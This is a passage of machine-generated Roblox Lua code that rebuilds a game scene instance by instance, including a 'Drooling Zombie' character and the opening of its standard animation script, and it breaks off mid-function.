Motor6D819 = Instance.new("Motor6D")
MeshPart820 = Instance.new("MeshPart")
Motor6D821 = Instance.new("Motor6D")
MeshPart822 = Instance.new("MeshPart")
Motor6D823 = Instance.new("Motor6D")
MeshPart824 = Instance.new("MeshPart")
Motor6D825 = Instance.new("Motor6D")
MeshPart826 = Instance.new("MeshPart")
Motor6D827 = Instance.new("Motor6D")
MeshPart828 = Instance.new("MeshPart")
Motor6D829 = Instance.new("Motor6D")
MeshPart830 = Instance.new("MeshPart")
Motor6D831 = Instance.new("Motor6D")
MeshPart832 = Instance.new("MeshPart")
Motor6D833 = Instance.new("Motor6D")
MeshPart834 = Instance.new("MeshPart")
Motor6D835 = Instance.new("Motor6D")
MeshPart836 = Instance.new("MeshPart")
Motor6D837 = Instance.new("Motor6D")
MeshPart838 = Instance.new("MeshPart")
Motor6D839 = Instance.new("Motor6D")
Humanoid840 = Instance.new("Humanoid")
NumberValue841 = Instance.new("NumberValue")
NumberValue842 = Instance.new("NumberValue")
NumberValue843 = Instance.new("NumberValue")
NumberValue844 = Instance.new("NumberValue")
NumberValue845 = Instance.new("NumberValue")
NumberValue846 = Instance.new("NumberValue")
BoolValue847 = Instance.new("BoolValue")
Part848 = Instance.new("Part")
SpecialMesh849 = Instance.new("SpecialMesh")
Motor6D850 = Instance.new("Motor6D")
Decal851 = Instance.new("Decal")
Dialog852 = Instance.new("Dialog")
Accessory853 = Instance.new("Accessory")
Part854 = Instance.new("Part")
SpecialMesh855 = Instance.new("SpecialMesh")
StringValue856 = Instance.new("StringValue")
Weld857 = Instance.new("Weld")
Weld858 = Instance.new("Weld")
Weld859 = Instance.new("Weld")
Accessory860 = Instance.new("Accessory")
Part861 = Instance.new("Part")
SpecialMesh862 = Instance.new("SpecialMesh")
StringValue863 = Instance.new("StringValue")
Weld864 = Instance.new("Weld")
Weld865 = Instance.new("Weld")
Weld866 = Instance.new("Weld")
Pants867 = Instance.new("Pants")
Accessory868 = Instance.new("Accessory")
Part869 = Instance.new("Part")
SpecialMesh870 = Instance.new("SpecialMesh")
Weld871 = Instance.new("Weld")
Weld872 = Instance.new("Weld")
Weld873 = Instance.new("Weld")
Accessory874 = Instance.new("Accessory")
Part875 = Instance.new("Part")
SpecialMesh876 = Instance.new("SpecialMesh")
Weld877 = Instance.new("Weld")
Weld878 = Instance.new("Weld")
Weld879 = Instance.new("Weld")
BodyColors880 = Instance.new("BodyColors")
Shirt881 = Instance.new("Shirt")
Model882 = Instance.new("Model")
Part883 = Instance.new("Part")
BlockMesh884 = Instance.new("BlockMesh")
Part885 = Instance.new("Part")
BlockMesh886 = Instance.new("BlockMesh")
Part887 = Instance.new("Part")
CylinderMesh888 = Instance.new("CylinderMesh")
Part889 = Instance.new("Part")
BlockMesh890 = Instance.new("BlockMesh")
Part891 = Instance.new("Part")
BlockMesh892 = Instance.new("BlockMesh")
Part893 = Instance.new("Part")
CylinderMesh894 = Instance.new("CylinderMesh")
Weld895 = Instance.new("Weld")
Weld896 = Instance.new("Weld")
Weld897 = Instance.new("Weld")
Part898 = Instance.new("Part")
CylinderMesh899 = Instance.new("CylinderMesh")
Model900 = Instance.new("Model")
Model901 = Instance.new("Model")
Part902 = Instance.new("Part")
Weld903 = Instance.new("Weld")
Weld904 = Instance.new("Weld")
Weld905 = Instance.new("Weld")
Weld906 = Instance.new("Weld")
Weld907 = Instance.new("Weld")
Weld908 = Instance.new("Weld")
Weld909 = Instance.new("Weld")
Part910 = Instance.new("Part")
ClickDetector911 = Instance.new("ClickDetector")
Script912 = Instance.new("Script")
Script913 = Instance.new("Script")
Weld914 = Instance.new("Weld")
Weld915 = Instance.new("Weld")
Weld916 = Instance.new("Weld")
Weld917 = Instance.new("Weld")
Sound918 = Instance.new("Sound")
Model919 = Instance.new("Model")
Model920 = Instance.new("Model")
UnionOperation921 = Instance.new("UnionOperation")
Part922 = Instance.new("Part")
UnionOperation923 = Instance.new("UnionOperation")
Part924 = Instance.new("Part")
CylinderMesh925 = Instance.new("CylinderMesh")
ClickDetector926 = Instance.new("ClickDetector")
Part927 = Instance.new("Part")
CylinderMesh928 = Instance.new("CylinderMesh")
Script929 = Instance.new("Script")
Seat930 = Instance.new("Seat")
Weld931 = Instance.new("Weld")
Weld932 = Instance.new("Weld")
Weld933 = Instance.new("Weld")
Weld934 = Instance.new("Weld")
Weld935 = Instance.new("Weld")
Weld936 = Instance.new("Weld")
Weld937 = Instance.new("Weld")
Script938 = Instance.new("Script")
Part939 = Instance.new("Part")
ParticleEmitter940 = Instance.new("ParticleEmitter")
Part941 = Instance.new("Part")
ParticleEmitter942 = Instance.new("ParticleEmitter")
CylinderMesh943 = Instance.new("CylinderMesh")
Sound944 = Instance.new("Sound")
Part945 = Instance.new("Part")
ParticleEmitter946 = Instance.new("ParticleEmitter")
Weld947 = Instance.new("Weld")
Weld948 = Instance.new("Weld")
Weld949 = Instance.new("Weld")
Weld950 = Instance.new("Weld")
Part951 = Instance.new("Part")
ParticleEmitter952 = Instance.new("ParticleEmitter")
Part953 = Instance.new("Part")
ParticleEmitter954 = Instance.new("ParticleEmitter")
Part955 = Instance.new("Part")
ParticleEmitter956 = Instance.new("ParticleEmitter")
Part957 = Instance.new("Part")
ParticleEmitter958 = Instance.new("ParticleEmitter")
Part959 = Instance.new("Part")
ParticleEmitter960 = Instance.new("ParticleEmitter")
Part961 = Instance.new("Part")
ParticleEmitter962 = Instance.new("ParticleEmitter")
Part963 = Instance.new("Part")
ParticleEmitter964 = Instance.new("ParticleEmitter")
Part965 = Instance.new("Part")
ParticleEmitter966 = Instance.new("ParticleEmitter")
Part967 = Instance.new("Part")
ParticleEmitter968 = Instance.new("ParticleEmitter")
Part969 = Instance.new("Part")
ParticleEmitter970 = Instance.new("ParticleEmitter")
Part971 = Instance.new("Part")
ParticleEmitter972 = Instance.new("ParticleEmitter")
UnionOperation973 = Instance.new("UnionOperation")
BoolValue974 = Instance.new("BoolValue")
Model975 = Instance.new("Model")
Part976 = Instance.new("Part")
Part977 = Instance.new("Part")
Part978 = Instance.new("Part")
Part979 = Instance.new("Part")
Humanoid980 = Instance.new("Humanoid")
Part981 = Instance.new("Part")
Part982 = Instance.new("Part")
Part983 = Instance.new("Part")
Decal984 = Instance.new("Decal")
SpecialMesh985 = Instance.new("SpecialMesh")
UnionOperation986 = Instance.new("UnionOperation")
Decal987 = Instance.new("Decal")
Humanoid988 = Instance.new("Humanoid")
Model989 = Instance.new("Model")
Part990 = Instance.new("Part")
Part991 = Instance.new("Part")
Part992 = Instance.new("Part")
Part993 = Instance.new("Part")
Part994 = Instance.new("Part")
Snap995 = Instance.new("Snap")
Snap996 = Instance.new("Snap")
Snap997 = Instance.new("Snap")
Part998 = Instance.new("Part")
Part999 = Instance.new("Part")
Snap1000 = Instance.new("Snap")
Snap1001 = Instance.new("Snap")
Snap1002 = Instance.new("Snap")
Part1003 = Instance.new("Part")
MeshPart1004 = Instance.new("MeshPart")
MeshPart1005 = Instance.new("MeshPart")
Part1006 = Instance.new("Part")
Part1007 = Instance.new("Part")
Model1008 = Instance.new("Model")
Part1009 = Instance.new("Part")
Part1010 = Instance.new("Part")
Model1011 = Instance.new("Model")
Part1012 = Instance.new("Part")
Part1013 = Instance.new("Part")
Model1014 = Instance.new("Model")
Part1015 = Instance.new("Part")
SpecialMesh1016 = Instance.new("SpecialMesh")
Decal1017 = Instance.new("Decal")
Decal1018 = Instance.new("Decal")
Dialog1019 = Instance.new("Dialog")
Part1020 = Instance.new("Part")
Fire1021 = Instance.new("Fire")
Script1022 = Instance.new("Script")
Part1023 = Instance.new("Part")
Part1024 = Instance.new("Part")
Part1025 = Instance.new("Part")
Part1026 = Instance.new("Part")
Part1027 = Instance.new("Part")
Part1028 = Instance.new("Part")
Model1029 = Instance.new("Model")
Part1030 = Instance.new("Part")
CylinderMesh1031 = Instance.new("CylinderMesh")
Part1032 = Instance.new("Part")
Script1033 = Instance.new("Script")
CylinderMesh1034 = Instance.new("CylinderMesh")
Part1035 = Instance.new("Part")
Model1036 = Instance.new("Model")
Model1037 = Instance.new("Model")
Part1038 = Instance.new("Part")
CylinderMesh1039 = Instance.new("CylinderMesh")
Weld1040 = Instance.new("Weld")
Weld1041 = Instance.new("Weld")
Part1042 = Instance.new("Part")
CylinderMesh1043 = Instance.new("CylinderMesh")
Part1044 = Instance.new("Part")
CylinderMesh1045 = Instance.new("CylinderMesh")
Part1046 = Instance.new("Part")
CylinderMesh1047 = Instance.new("CylinderMesh")
ParticleEmitter1048 = Instance.new("ParticleEmitter")
Part1049 = Instance.new("Part")
CylinderMesh1050 = Instance.new("CylinderMesh")
UnionOperation1051 = Instance.new("UnionOperation")
Part1052 = Instance.new("Part")
CylinderMesh1053 = Instance.new("CylinderMesh")
Part1054 = Instance.new("Part")
ParticleEmitter1055 = Instance.new("ParticleEmitter")
Sound1056 = Instance.new("Sound")
ParticleEmitter1057 = Instance.new("ParticleEmitter")
Part1058 = Instance.new("Part")
ParticleEmitter1059 = Instance.new("ParticleEmitter")
Sound1060 = Instance.new("Sound")
ParticleEmitter1061 = Instance.new("ParticleEmitter")
Sound1062 = Instance.new("Sound")
PitchShiftSoundEffect1063 = Instance.new("PitchShiftSoundEffect")
Sound1064 = Instance.new("Sound")
PitchShiftSoundEffect1065 = Instance.new("PitchShiftSoundEffect")
Part1066 = Instance.new("Part")
CylinderMesh1067 = Instance.new("CylinderMesh")
Part1068 = Instance.new("Part")
Part1069 = Instance.new("Part")
Part1070 = Instance.new("Part")
CylinderMesh1071 = Instance.new("CylinderMesh")
Part1072 = Instance.new("Part")
Part1073 = Instance.new("Part")
Part1074 = Instance.new("Part")
Part1075 = Instance.new("Part")
Part1076 = Instance.new("Part")
Part1077 = Instance.new("Part")
CylinderMesh1078 = Instance.new("CylinderMesh")
Part1079 = Instance.new("Part")
CylinderMesh1080 = Instance.new("CylinderMesh")
Part1081 = Instance.new("Part")
CylinderMesh1082 = Instance.new("CylinderMesh")
Weld1083 = Instance.new("Weld")
Part1084 = Instance.new("Part")
Part1085 = Instance.new("Part")
CylinderMesh1086 = Instance.new("CylinderMesh")
Part1087 = Instance.new("Part")
Part1088 = Instance.new("Part")
CylinderMesh1089 = Instance.new("CylinderMesh")
Part1090 = Instance.new("Part")
CylinderMesh1091 = Instance.new("CylinderMesh")
Part1092 = Instance.new("Part")
Part1093 = Instance.new("Part")
Part1094 = Instance.new("Part")
CylinderMesh1095 = Instance.new("CylinderMesh")
UnionOperation1096 = Instance.new("UnionOperation")
UnionOperation1097 = Instance.new("UnionOperation")
Seat1098 = Instance.new("Seat")
Script1099 = Instance.new("Script")
Script1100 = Instance.new("Script")
LocalScript1101 = Instance.new("LocalScript")
ObjectValue1102 = Instance.new("ObjectValue")
Script1103 = Instance.new("Script")
ObjectValue1104 = Instance.new("ObjectValue")
ParticleEmitter1105 = Instance.new("ParticleEmitter")
ParticleEmitter1106 = Instance.new("ParticleEmitter")
RemoteFunction1107 = Instance.new("RemoteFunction")
RemoteFunction1108 = Instance.new("RemoteFunction")
ObjectValue1109 = Instance.new("ObjectValue")
Script1110 = Instance.new("Script")
ObjectValue1111 = Instance.new("ObjectValue")
ParticleEmitter1112 = Instance.new("ParticleEmitter")
ParticleEmitter1113 = Instance.new("ParticleEmitter")
RemoteFunction1114 = Instance.new("RemoteFunction")
RemoteEvent1115 = Instance.new("RemoteEvent")
RemoteFunction1116 = Instance.new("RemoteFunction")
WedgePart1117 = Instance.new("WedgePart")
UnionOperation1118 = Instance.new("UnionOperation")
WedgePart1119 = Instance.new("WedgePart")
UnionOperation1120 = Instance.new("UnionOperation")
UnionOperation1121 = Instance.new("UnionOperation")
Part1122 = Instance.new("Part")
Weld1123 = Instance.new("Weld")
Model1124 = Instance.new("Model")
Part1125 = Instance.new("Part")
Part1126 = Instance.new("Part")
Part1127 = Instance.new("Part")
Part1128 = Instance.new("Part")
Part1129 = Instance.new("Part")
CylinderMesh1130 = Instance.new("CylinderMesh")
Part1131 = Instance.new("Part")
CylinderMesh1132 = Instance.new("CylinderMesh")
Part1133 = Instance.new("Part")
Part1134 = Instance.new("Part")
Part1135 = Instance.new("Part")
Part1136 = Instance.new("Part")
Part1137 = Instance.new("Part")
Part1138 = Instance.new("Part")
Part1139 = Instance.new("Part")
Part1140 = Instance.new("Part")
Part1141 = Instance.new("Part")
Model1142 = Instance.new("Model")
Part1143 = Instance.new("Part")
Texture1144 = Instance.new("Texture")
Script1145 = Instance.new("Script")
Texture1146 = Instance.new("Texture")
Script1147 = Instance.new("Script")
Sound1148 = Instance.new("Sound")
Weld1149 = Instance.new("Weld")
Model1150 = Instance.new("Model")
Part1151 = Instance.new("Part")
Vector3Value1152 = Instance.new("Vector3Value")
Vector3Value1153 = Instance.new("Vector3Value")
MeshPart1154 = Instance.new("MeshPart")
Motor6D1155 = Instance.new("Motor6D")
MeshPart1156 = Instance.new("MeshPart")
Motor6D1157 = Instance.new("Motor6D")
MeshPart1158 = Instance.new("MeshPart")
Motor6D1159 = Instance.new("Motor6D")
MeshPart1160 = Instance.new("MeshPart")
Motor6D1161 = Instance.new("Motor6D")
MeshPart1162 = Instance.new("MeshPart")
Motor6D1163 = Instance.new("Motor6D")
MeshPart1164 = Instance.new("MeshPart")
Motor6D1165 = Instance.new("Motor6D")
MeshPart1166 = Instance.new("MeshPart")
Motor6D1167 = Instance.new("Motor6D")
MeshPart1168 = Instance.new("MeshPart")
Motor6D1169 = Instance.new("Motor6D")
MeshPart1170 = Instance.new("MeshPart")
Motor6D1171 = Instance.new("Motor6D")
MeshPart1172 = Instance.new("MeshPart")
Motor6D1173 = Instance.new("Motor6D")
MeshPart1174 = Instance.new("MeshPart")
Motor6D1175 = Instance.new("Motor6D")
MeshPart1176 = Instance.new("MeshPart")
Motor6D1177 = Instance.new("Motor6D")
MeshPart1178 = Instance.new("MeshPart")
Motor6D1179 = Instance.new("Motor6D")
MeshPart1180 = Instance.new("MeshPart")
Motor6D1181 = Instance.new("Motor6D")
Humanoid1182 = Instance.new("Humanoid")
NumberValue1183 = Instance.new("NumberValue")
NumberValue1184 = Instance.new("NumberValue")
NumberValue1185 = Instance.new("NumberValue")
NumberValue1186 = Instance.new("NumberValue")
NumberValue1187 = Instance.new("NumberValue")
NumberValue1188 = Instance.new("NumberValue")
BoolValue1189 = Instance.new("BoolValue")
Part1190 = Instance.new("Part")
Motor6D1191 = Instance.new("Motor6D")
Decal1192 = Instance.new("Decal")
SpecialMesh1193 = Instance.new("SpecialMesh")
StringValue1194 = Instance.new("StringValue")
Vector3Value1195 = Instance.new("Vector3Value")
Vector3Value1196 = Instance.new("Vector3Value")
Vector3Value1197 = Instance.new("Vector3Value")
Vector3Value1198 = Instance.new("Vector3Value")
Vector3Value1199 = Instance.new("Vector3Value")
StringValue1200 = Instance.new("StringValue")
StringValue1201 = Instance.new("StringValue")
Dialog1202 = Instance.new("Dialog")
Accessory1203 = Instance.new("Accessory")
Part1204 = Instance.new("Part")
SpecialMesh1205 = Instance.new("SpecialMesh")
Weld1206 = Instance.new("Weld")
Weld1207 = Instance.new("Weld")
Accessory1208 = Instance.new("Accessory")
Part1209 = Instance.new("Part")
SpecialMesh1210 = Instance.new("SpecialMesh")
StringValue1211 = Instance.new("StringValue")
Weld1212 = Instance.new("Weld")
Weld1213 = Instance.new("Weld")
BodyColors1214 = Instance.new("BodyColors")
Model1215 = Instance.new("Model")
Part1216 = Instance.new("Part")
Part1217 = Instance.new("Part")
Model1218 = Instance.new("Model")
Part1219 = Instance.new("Part")
Part1220 = Instance.new("Part")
Weld1221 = Instance.new("Weld")
Part1222 = Instance.new("Part")
Part1223 = Instance.new("Part")
Part1224 = Instance.new("Part")
Part1225 = Instance.new("Part")
Weld1226 = Instance.new("Weld")
Part1227 = Instance.new("Part")
Model1228 = Instance.new("Model")
Model1229 = Instance.new("Model")
Part1230 = Instance.new("Part")
Weld1231 = Instance.new("Weld")
Part1232 = Instance.new("Part")
Sound1233 = Instance.new("Sound")
ClickDetector1234 = Instance.new("ClickDetector")
Script1235 = Instance.new("Script")
Script1236 = Instance.new("Script")
Tool1237 = Instance.new("Tool")
Part1238 = Instance.new("Part")
Part1239 = Instance.new("Part")
Part1240 = Instance.new("Part")
Part1241 = Instance.new("Part")
Part1242 = Instance.new("Part")
Part1243 = Instance.new("Part")
Part1244 = Instance.new("Part")
Part1245 = Instance.new("Part")
Model1246 = Instance.new("Model")
Part1247 = Instance.new("Part")
SurfaceGui1248 = Instance.new("SurfaceGui")
TextLabel1249 = Instance.new("TextLabel")
Humanoid1250 = Instance.new("Humanoid")
Part1251 = Instance.new("Part")
Part1252 = Instance.new("Part")
Part1253 = Instance.new("Part")
SpecialMesh1254 = Instance.new("SpecialMesh")
Decal1255 = Instance.new("Decal")
Part1256 = Instance.new("Part")
Part1257 = Instance.new("Part")
Part1258 = Instance.new("Part")
Model0.Parent = mas
Model1.Parent = Model0
Model2.Name = "Drooling Zombie"
Model2.Parent = Model1
Part3.Name = "HumanoidRootPart"
Part3.Parent = Model2
Part3.CFrame = CFrame.new(148.5, 2.99998283, -92, 0, 0, -1, 9.62961115e-34, 0.999994516, 0, 1, 9.62961115e-34, 0)
Part3.Orientation = Vector3.new(0, -90, 0)
Part3.Position = Vector3.new(148.5, 2.99998283, -92)
Part3.Rotation = Vector3.new(0, -90, 0)
Part3.Color = Color3.new(0.152941, 0.27451, 0.176471)
Part3.Transparency = 1
Part3.Size = Vector3.new(2, 2, 1)
Part3.BottomSurface = Enum.SurfaceType.Smooth
Part3.BrickColor = BrickColor.new("Earth green")
Part3.Material = Enum.Material.WoodPlanks
Part3.TopSurface = Enum.SurfaceType.Smooth
Part3.brickColor = BrickColor.new("Earth green")
Part3.FormFactor = Enum.FormFactor.Symmetric
Part3.formFactor = Enum.FormFactor.Symmetric
Motor6D4.Name = "Root Hip"
Motor6D4.Parent = Part3
Motor6D4.MaxVelocity = 0.10000000149012
Motor6D4.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D4.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D4.Part0 = Part3
Motor6D4.Part1 = Part6
Motor6D4.part1 = Part6
BodyForce5.Name = "RepulsionForce"
BodyForce5.Parent = Part3
BodyForce5.Force = Vector3.new(0, 0, 0)
BodyForce5.force = Vector3.new(0, 0, 0)
Part6.Name = "Torso"
Part6.Parent = Model2
Part6.CFrame = CFrame.new(148.5, 2.99998283, -92, 0, 0, -1, 9.62961115e-34, 0.999994516, 0, 1, 9.62961115e-34, 0)
Part6.Orientation = Vector3.new(0, -90, 0)
Part6.Position = Vector3.new(148.5, 2.99998283, -92)
Part6.Rotation = Vector3.new(0, -90, 0)
Part6.Color = Color3.new(0.156863, 0.498039, 0.278431)
Part6.Size = Vector3.new(2, 2, 1)
Part6.BottomSurface = Enum.SurfaceType.Smooth
Part6.BrickColor = BrickColor.new("Dark green")
Part6.Material = Enum.Material.WoodPlanks
Part6.TopSurface = Enum.SurfaceType.Smooth
Part6.brickColor = BrickColor.new("Dark green")
Part6.FormFactor = Enum.FormFactor.Symmetric
Part6.formFactor = Enum.FormFactor.Symmetric
Motor6D7.Name = "Left Hip"
Motor6D7.Parent = Part6
Motor6D7.MaxVelocity = 0.10000000149012
Motor6D7.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D7.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D7.Part0 = Part6
Motor6D7.Part1 = Part12
Motor6D7.part1 = Part12
Motor6D8.Name = "Right Hip"
Motor6D8.Parent = Part6
Motor6D8.MaxVelocity = 0.10000000149012
Motor6D8.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D8.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D8.Part0 = Part6
Motor6D8.Part1 = Part13
Motor6D8.part1 = Part13
Motor6D9.Name = "Left Shoulder"
Motor6D9.Parent = Part6
Motor6D9.MaxVelocity = 0.10000000149012
Motor6D9.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D9.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D9.Part0 = Part6
Motor6D9.Part1 = Part14
Motor6D9.part1 = Part14
Motor6D10.Name = "Right Shoulder"
Motor6D10.Parent = Part6
Motor6D10.MaxVelocity = 0.10000000149012
Motor6D10.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D10.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D10.Part0 = Part6
Motor6D10.Part1 = Part15
Motor6D10.part1 = Part15
Motor6D11.Name = "Neck"
Motor6D11.Parent = Part6
Motor6D11.MaxVelocity = 0.10000000149012
Motor6D11.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D11.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D11.Part0 = Part6
Motor6D11.Part1 = Part16
Motor6D11.part1 = Part16
Part12.Name = "Left Leg"
Part12.Parent = Model2
Part12.CFrame = CFrame.new(148.5, 0.99999392, -92.5, 0, 0, -1, 9.62961115e-34, 0.999994397, 0, 1, 9.62961023e-34, 0)
Part12.Orientation = Vector3.new(0, -90, 0)
Part12.Position = Vector3.new(148.5, 0.99999392, -92.5)
Part12.Rotation = Vector3.new(0, -90, 0)
Part12.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part12.Size = Vector3.new(1, 2, 1)
Part12.BottomSurface = Enum.SurfaceType.Smooth
Part12.BrickColor = BrickColor.new("Bright blue")
Part12.CanCollide = false
Part12.Material = Enum.Material.WoodPlanks
Part12.TopSurface = Enum.SurfaceType.Smooth
Part12.brickColor = BrickColor.new("Bright blue")
Part12.FormFactor = Enum.FormFactor.Symmetric
Part12.formFactor = Enum.FormFactor.Symmetric
Part13.Name = "Right Leg"
Part13.Parent = Model2
Part13.CFrame = CFrame.new(148.5, 0.99999392, -91.5, 0, 0, -1, 9.62961115e-34, 0.999994397, 0, 1, 9.62961023e-34, 0)
Part13.Orientation = Vector3.new(0, -90, 0)
Part13.Position = Vector3.new(148.5, 0.99999392, -91.5)
Part13.Rotation = Vector3.new(0, -90, 0)
Part13.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part13.Size = Vector3.new(1, 2, 1)
Part13.BottomSurface = Enum.SurfaceType.Smooth
Part13.BrickColor = BrickColor.new("Bright blue")
Part13.CanCollide = false
Part13.Material = Enum.Material.WoodPlanks
Part13.TopSurface = Enum.SurfaceType.Smooth
Part13.brickColor = BrickColor.new("Bright blue")
Part13.FormFactor = Enum.FormFactor.Symmetric
Part13.formFactor = Enum.FormFactor.Symmetric
Part14.Name = "Left Arm"
Part14.Parent = Model2
Part14.CFrame = CFrame.new(148.5, 2.99998283, -93.5, 0, 0, -1, 9.62961115e-34, 0.999994397, 0, 1, 9.62961023e-34, 0)
Part14.Orientation = Vector3.new(0, -90, 0)
Part14.Position = Vector3.new(148.5, 2.99998283, -93.5)
Part14.Rotation = Vector3.new(0, -90, 0)
Part14.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part14.Size = Vector3.new(1, 2, 1)
Part14.BottomSurface = Enum.SurfaceType.Smooth
Part14.BrickColor = BrickColor.new("Cool yellow")
Part14.CanCollide = false
Part14.Material = Enum.Material.WoodPlanks
Part14.TopSurface = Enum.SurfaceType.Smooth
Part14.brickColor = BrickColor.new("Cool yellow")
Part14.FormFactor = Enum.FormFactor.Symmetric
Part14.formFactor = Enum.FormFactor.Symmetric
Part15.Name = "Right Arm"
Part15.Parent = Model2
Part15.CFrame = CFrame.new(148.5, 2.99998283, -90.5, 0, 0, -1, 9.62961115e-34, 0.999994397, 0, 1, 9.62961023e-34, 0)
Part15.Orientation = Vector3.new(0, -90, 0)
Part15.Position = Vector3.new(148.5, 2.99998283, -90.5)
Part15.Rotation = Vector3.new(0, -90, 0)
Part15.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part15.Size = Vector3.new(1, 2, 1)
Part15.BottomSurface = Enum.SurfaceType.Smooth
Part15.BrickColor = BrickColor.new("Cool yellow")
Part15.CanCollide = false
Part15.Material = Enum.Material.WoodPlanks
Part15.TopSurface = Enum.SurfaceType.Smooth
Part15.brickColor = BrickColor.new("Cool yellow")
Part15.FormFactor = Enum.FormFactor.Symmetric
Part15.formFactor = Enum.FormFactor.Symmetric
Part16.Name = "Head"
Part16.Parent = Model2
Part16.CFrame = CFrame.new(148.5, 4.49997473, -92, 0, 0, -1, 9.62961115e-34, 0.999994516, 0, 1, 9.62961115e-34, 0)
Part16.Orientation = Vector3.new(0, -90, 0)
Part16.Position = Vector3.new(148.5, 4.49997473, -92)
Part16.Rotation = Vector3.new(0, -90, 0)
Part16.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part16.Size = Vector3.new(2, 1, 1)
Part16.BottomSurface = Enum.SurfaceType.Smooth
Part16.BrickColor = BrickColor.new("Cool yellow")
Part16.Material = Enum.Material.WoodPlanks
Part16.TopSurface = Enum.SurfaceType.Smooth
Part16.brickColor = BrickColor.new("Cool yellow")
Part16.FormFactor = Enum.FormFactor.Symmetric
Part16.formFactor = Enum.FormFactor.Symmetric
Decal17.Name = "Face"
Decal17.Parent = Part16
Decal17.Texture = "http://www.roblox.com/asset/?id=7074882"
SpecialMesh18.Parent = Part16
SpecialMesh18.Scale = Vector3.new(1.25, 1.25, 1.25)
Humanoid19.Parent = Model2
Humanoid19.LeftLeg = Part12
Humanoid19.RightLeg = Part13
Humanoid19.Torso = Part3
Humanoid19.WalkSpeed = 10
Script20.Name = "Animate"
Script20.Parent = Model2
table.insert(cors,sandbox(Script20,function()
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local currentAnim = ""
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
},
run = {
{ id = "run.xml", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
},
toolnone = {
{ id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
-- { id = "slash.xml", weight = 10 }
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
},
dance2 = {
{ id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
},
dance3 = {
{ id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
},
}
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
math.randomseed(tick())
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then
-- print("Loading anims " .. name)
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
